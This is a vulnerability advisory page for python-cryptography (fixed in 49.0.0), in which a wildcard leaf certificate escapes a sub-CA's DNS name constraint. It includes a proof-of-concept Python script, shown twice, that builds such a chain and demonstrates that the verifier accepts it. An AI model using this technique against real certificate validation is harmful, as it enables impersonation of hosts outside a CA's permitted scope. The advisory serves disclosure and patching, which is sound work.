PYSEC-2026-3554
Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details
Summary
If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.
PoC
#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")
Impact
Acceptance of invalid certificate chain.
Severity
Impacted products
| Name | purl | cryptography | pkg:pypi/cryptography |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cryptography",
"purl": "pkg:pypi/cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "49.0.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.2",
"0.2.1",
"0.2.2",
"0.3",
"0.4",
"0.5",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.6",
"0.6.1",
"0.7",
"0.7.1",
"0.7.2",
"0.8",
"0.8.1",
"0.8.2",
"0.9",
"0.9.1",
"0.9.2",
"0.9.3",
"1.0",
"1.0.1",
"1.0.2",
"1.1",
"1.1.1",
"1.1.2",
"1.2",
"1.2.1",
"1.2.2",
"1.2.3",
"1.3",
"1.3.1",
"1.3.2",
"1.3.3",
"1.3.4",
"1.4",
"1.5",
"1.5.1",
"1.5.2",
"1.5.3",
"1.6",
"1.7",
"1.7.1",
"1.7.2",
"1.8",
"1.8.1",
"1.8.2",
"1.9",
"2.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.1",
"2.1.1",
"2.1.2",
"2.1.3",
"2.1.4",
"2.2",
"2.2.1",
"2.2.2",
"2.3",
"2.3.1",
"2.4",
"2.4.1",
"2.4.2",
"2.5",
"2.6",
"2.6.1",
"2.7",
"2.8",
"2.9",
"2.9.1",
"2.9.2",
"3.0",
"3.1",
"3.1.1",
"3.2",
"3.2.1",
"3.3",
"3.3.1",
"3.3.2",
"3.4",
"3.4.1",
"3.4.2",
"3.4.3",
"3.4.4",
"3.4.5",
"3.4.6",
"3.4.7",
"3.4.8",
"35.0.0",
"36.0.0",
"36.0.1",
"36.0.2",
"37.0.0",
"37.0.1",
"37.0.2",
"37.0.3",
"37.0.4",
"38.0.0",
"38.0.1",
"38.0.2",
"38.0.3",
"38.0.4",
"39.0.0",
"39.0.1",
"39.0.2",
"40.0.0",
"40.0.1",
"40.0.2",
"41.0.0",
"41.0.1",
"41.0.2",
"41.0.3",
"41.0.4",
"41.0.5",
"41.0.6",
"41.0.7",
"42.0.0",
"42.0.1",
"42.0.2",
"42.0.3",
"42.0.4",
"42.0.5",
"42.0.6",
"42.0.7",
"42.0.8",
"43.0.0",
"43.0.1",
"43.0.3",
"44.0.0",
"44.0.1",
"44.0.2",
"44.0.3",
"45.0.0",
"45.0.1",
"45.0.2",
"45.0.3",
"45.0.4",
"45.0.5",
"45.0.6",
"45.0.7",
"46.0.0",
"46.0.1",
"46.0.2",
"46.0.3",
"46.0.4",
"46.0.5",
"46.0.6",
"46.0.7",
"47.0.0",
"48.0.0",
"48.0.1"
]
}
],
"aliases": [
"CVE-2026-69248",
"GHSA-m2h6-j472-rp4c"
],
"details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n Sub-CA permitted constraint: dNSName = foo.example.com\n Leaf SAN: dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n b = (x509.CertificateBuilder()\n .subject_name(subject).issuer_name(issuer)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - 30 * day)\n .not_valid_after(now + 3650 * day)\n .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n for e, c in exts:\n b = b.add_extension(e, c)\n return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n PolicyBuilder()\n .store(Store([root]))\n .time(now)\n .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n v.verify(leaf, [sub])\n print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
"id": "PYSEC-2026-3554",
"modified": "2026-08-04T13:36:14.598264Z",
"published": "2026-08-04T11:34:48.085980Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/14888"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/cryptography"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m2h6-j472-rp4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…